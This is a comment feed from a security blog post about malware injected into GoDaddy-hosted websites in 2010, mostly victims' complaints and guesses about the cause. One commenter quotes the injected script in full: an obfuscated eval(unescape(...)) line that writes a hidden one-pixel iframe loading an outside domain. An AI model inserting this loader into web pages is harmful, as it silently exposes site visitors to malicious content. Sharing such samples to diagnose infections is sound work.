Comments on: Found code used to inject the malware at GoDaddy http://blog.sucuri.net/2010/05/found-code-used-to-inject-the-malware-at-godaddy.html Protect Your Interwebs Tue, 07 Feb 2012 14:40:59 +0000 hourly 1 http://wordpress.org/?v=3.3.1 By: GoDaddy On The Run From PHP Attackers http://blog.sucuri.net/2010/05/found-code-used-to-inject-the-malware-at-godaddy.html/comment-page-1#comment-2261 GoDaddy On The Run From PHP Attackers Wed, 10 Nov 2010 04:59:57 +0000 http://blog.sucuri.net/?p=18#comment-2261 [...] exploited sites on GoDaddy,” read the update. The affected sites generally ran some kind of PHP Web application, such as Zen Cart eCommerce or popular CMS packages including WordPress, Drupal and Joomla, [...] [...] exploited sites on GoDaddy,” read the update. The affected sites generally ran some kind of PHP Web application, such as Zen Cart eCommerce or popular CMS packages including WordPress, Drupal and Joomla, [...]

]]> By: @XpertDevelopers http://blog.sucuri.net/2010/05/found-code-used-to-inject-the-malware-at-godaddy.html/comment-page-1#comment-2164 @XpertDevelopers Sun, 19 Sep 2010 10:20:48 +0000 http://blog.sucuri.net/?p=18#comment-2164 Hi, My files get infected with below code.. Its a javascript code. Fix at this url is not working for me.. <a href="http://sucuri.net/malware/helpers/wordpress-fix_php.txt" rel="nofollow">http://sucuri.net/malware/helpers/wordpress-fix_p...</a> Injected code is looks like below: <script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%71%61%77%66%65%72%2E%63%6F%6D%2F%3F%36%30%34%35%37%38%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn --> Hi,
My files get infected with below code..
Its a javascript code. Fix at this url is not working for me.. http://sucuri.net/malware/helpers/wordpress-fix_p…
Injected code is looks like below:
<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%71%61%77%66%65%72%2E%63%6F%6D%2F%3F%36%30%34%35%37%38%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!– uy7gdr5332rkmn –>

]]> By: Tweets that mention Found code used to inject the malware at GoDaddy | Sucuri -- Topsy.com http://blog.sucuri.net/2010/05/found-code-used-to-inject-the-malware-at-godaddy.html/comment-page-1#comment-2067 Tweets that mention Found code used to inject the malware at GoDaddy | Sucuri -- Topsy.com Wed, 15 Sep 2010 15:52:52 +0000 http://blog.sucuri.net/?p=18#comment-2067 [...] This post was mentioned on Twitter by ccDcLeslie, Michael and Leslie. Michael and Leslie said: Found code used to inject the malware at GoDaddy | Sucuri http://t.co/hMhOBBv [...] [...] This post was mentioned on Twitter by ccDcLeslie, Michael and Leslie. Michael and Leslie said: Found code used to inject the malware at GoDaddy | Sucuri http://t.co/hMhOBBv [...]

]]> By: morallydecrepit http://blog.sucuri.net/2010/05/found-code-used-to-inject-the-malware-at-godaddy.html/comment-page-1#comment-121 morallydecrepit Sun, 30 May 2010 12:09:09 +0000 http://blog.sucuri.net/?p=18#comment-121 I asked GoDaddy for some logs so I could look at them myself and they said they couldn't do that. Right now I've just been checking my site every couple of days. But I still haven't figure out how they get in. I just delete all the hacked code from my php files. I asked GoDaddy for some logs so I could look at them myself and they said they couldn't do that. Right now I've just been checking my site every couple of days. But I still haven't figure out how they get in. I just delete all the hacked code from my php files.

]]> By: Anonymous http://blog.sucuri.net/2010/05/found-code-used-to-inject-the-malware-at-godaddy.html/comment-page-1#comment-122 Anonymous Wed, 26 May 2010 22:17:25 +0000 http://blog.sucuri.net/?p=18#comment-122 Hello Guys,<br /><br />I am also a victim.My suggestion is that if you are using any plugins like javascript and CSS optimizer then remove it. It's and RFI attack.Hope you all be happy with this.The attacker first distribute free program (open source) which working fine but he puts a security hole init for later use.He win the faith from us and then attack. Hello Guys,

I am also a victim.My suggestion is that if you are using any plugins like javascript and CSS optimizer then remove it. It's and RFI attack.Hope you all be happy with this.The attacker first distribute free program (open source) which working fine but he puts a security hole init for later use.He win the faith from us and then attack.

]]> By: Anonymous http://blog.sucuri.net/2010/05/found-code-used-to-inject-the-malware-at-godaddy.html/comment-page-1#comment-123 Anonymous Tue, 25 May 2010 01:34:00 +0000 http://blog.sucuri.net/?p=18#comment-123 its a php code like this eval(base64_decode..........................:/><br />which is a virus script.<br />i found it on the webpage..online its a php code like this eval(base64_decode……………………..:/>
which is a virus script.
i found it on the webpage..online

]]> By: Anonymous http://blog.sucuri.net/2010/05/found-code-used-to-inject-the-malware-at-godaddy.html/comment-page-1#comment-124 Anonymous Tue, 25 May 2010 01:32:16 +0000 http://blog.sucuri.net/?p=18#comment-124 Guys this is the code which i fond on my webpage online running... ofline is deleted by antivirus<br /><br />"" Guys this is the code which i fond on my webpage online running… ofline is deleted by antivirus

""

]]> By: Anonymous http://blog.sucuri.net/2010/05/found-code-used-to-inject-the-malware-at-godaddy.html/comment-page-1#comment-125 Anonymous Sat, 15 May 2010 12:10:55 +0000 http://blog.sucuri.net/?p=18#comment-125 As a web developer, the majority of my 56 sites online have been hacked the last couple of weeks.... but, they are spread across 11 different hosting companies, and are on both Linux and Windows servers My only WordPress site was hacked on May 12th, but all my BlogEngine.net sites (asp.net) have also been hacked. This is not just a PHP problem or a GoDaddy problem. As a web developer, the majority of my 56 sites online have been hacked the last couple of weeks…. but, they are spread across 11 different hosting companies, and are on both Linux and Windows servers My only WordPress site was hacked on May 12th, but all my BlogEngine.net sites (asp.net) have also been hacked. This is not just a PHP problem or a GoDaddy problem.

]]> By: Anonymous http://blog.sucuri.net/2010/05/found-code-used-to-inject-the-malware-at-godaddy.html/comment-page-1#comment-126 Anonymous Fri, 14 May 2010 00:52:36 +0000 http://blog.sucuri.net/?p=18#comment-126 This is the third time my site has been hacked within 20 days.Godday is not doing anything or they don't have the right person to control the situation.This way our websites future is in danger.Hope some way come out with solution. This is the third time my site has been hacked within 20 days.Godday is not doing anything or they don't have the right person to control the situation.This way our websites future is in danger.Hope some way come out with solution.

]]> By: Anonymous http://blog.sucuri.net/2010/05/found-code-used-to-inject-the-malware-at-godaddy.html/comment-page-1#comment-127 Anonymous Thu, 13 May 2010 21:31:27 +0000 http://blog.sucuri.net/?p=18#comment-127 For those blaming WP plugins, etc. (including Godaddy support) This has NOTHING to do with Wordpress or any other CMS code! Our simple coded from scratch site with PHP extensions has been hacked twice same as all the rest. Godaddy is aware of this, but they continue to try to deflect the blame onto others. They even lie. They deleted a file from my site that had "good" base 64 encoded code, then claimed they didn't do it.<br />I think the GoDaddy girls do more for them than just look sexy. I think that they are responsible for Godaddy security and customer service also! For those blaming WP plugins, etc. (including Godaddy support) This has NOTHING to do with WordPress or any other CMS code! Our simple coded from scratch site with PHP extensions has been hacked twice same as all the rest. Godaddy is aware of this, but they continue to try to deflect the blame onto others. They even lie. They deleted a file from my site that had "good" base 64 encoded code, then claimed they didn't do it.
I think the GoDaddy girls do more for them than just look sexy. I think that they are responsible for Godaddy security and customer service also!

]]>